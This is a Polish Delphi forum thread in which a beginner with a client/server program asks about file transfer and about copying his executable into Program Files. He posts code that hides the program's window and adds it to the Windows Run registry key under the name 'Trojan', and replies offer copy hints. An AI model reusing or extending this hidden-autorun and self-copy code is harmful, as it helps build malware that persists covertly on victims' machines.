przesylanie plikow

0

Witam jestem nowy w tych sprawach wiec prosze o wyrozumialosc ;]

Mam maly problemik (a raczej 2)

  1. zrobilem 2 pliki clienta i servera wszystko dziala OK! ale chcialbym je "wzbogacic" o przesylanie plikow...
    Ale nie mam najmniejszego pojecia jak to zrobic ;-|
    Owszem czytalem art na tej stronie "gniazdka" ale on nic mi nie powiedzial ;-| ....
    Moge prosic o jakies wskazowki albo najlepiej kod... bede bardzo wdzieczny, a ja potrafie sie odwdzieczyc ;]

jak moge np: skopjowac plik do np: c:\program files gdy nie znam jego polorzenia... tylko nazwe???

probowalem lopatologicznie:
CopyFiles('C:..\projekt.exe', 'C:\program files");

Ale nie wychodzi :(

Z gory thx za odp... i sorry za robienie problemu.

0

ad2.
Poszukaj sobie o rekurencji (jest na stronie) ;-)
I potem tylko CopyFile(Scieżkadopliku,'C:\program files\project2.exe',TRUE); ;-)

0

Dzieki... troche poczytalem i tez nic :(
Przy wpisach do rejestru mozna zrobic cos takiego:

procedure TForm1.Timer1Timer(Sender: TObject);
var
Reg : TRegistry;
Sciezka : array[0..MAX_PATH] of char;
X : string;

begin
Reg := TRegistry.Create;
try
ShowWindow(Handle,SW_HIDE);
GetCurrentDirectory(sizeof(Sciezka),Sciezka);
X := (Sciezka+'\Project2.exe');
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('Trojan', X);
finally
Reg.Free;
end;

Ale dlaczego nie mozna uzyc:
GetCurrentDirectory(sizeof(Sciezka),Sciezka);
X := (Sciezka+'\Project2.exe');
w przypadku copy??

0

Ale dlaczego nie mozna uzyc:
GetCurrentDirectory(sizeof(Sciezka),Sciezka);
X := (Sciezka+'Project2.exe');
w przypadku copy??

spróbuj : copy(pchar(sciezka))

0

Witam jestem nowy w tych sprawach wiec prosze o wyrozumialosc ;]

Mam maly problemik (a raczej 2)

  1. zrobilem 2 pliki clienta i servera wszystko dziala OK! ale chcialbym je "wzbogacic" o przesylanie plikow...
    Ale nie mam najmniejszego pojecia jak to zrobic ;-|
    Owszem czytalem art na tej stronie "gniazdka" ale on nic mi nie powiedzial ;-| ....
    Moge prosic o jakies wskazowki albo najlepiej kod... bede bardzo wdzieczny, a ja potrafie sie odwdzieczyc ;]

Jest odpowiedz ..Adam napisal przyklad naprawde dobrze, wiec nie marudz ze nie zrozumiales...twoje slowa sugeruja ze jestes po prostu leniem , ktory czeka na gotowy kod.Skroro sie chcesz bawic w programowanie to czytaj co Ci ludzie tu podpowiadaja, ale nie pros i nie licz na to ze beda za ciebie pisali gotowe kodu

0

Przykład poszedł na maila

[cya]

1 użytkowników online, w tym zalogowanych: 0, gości: 1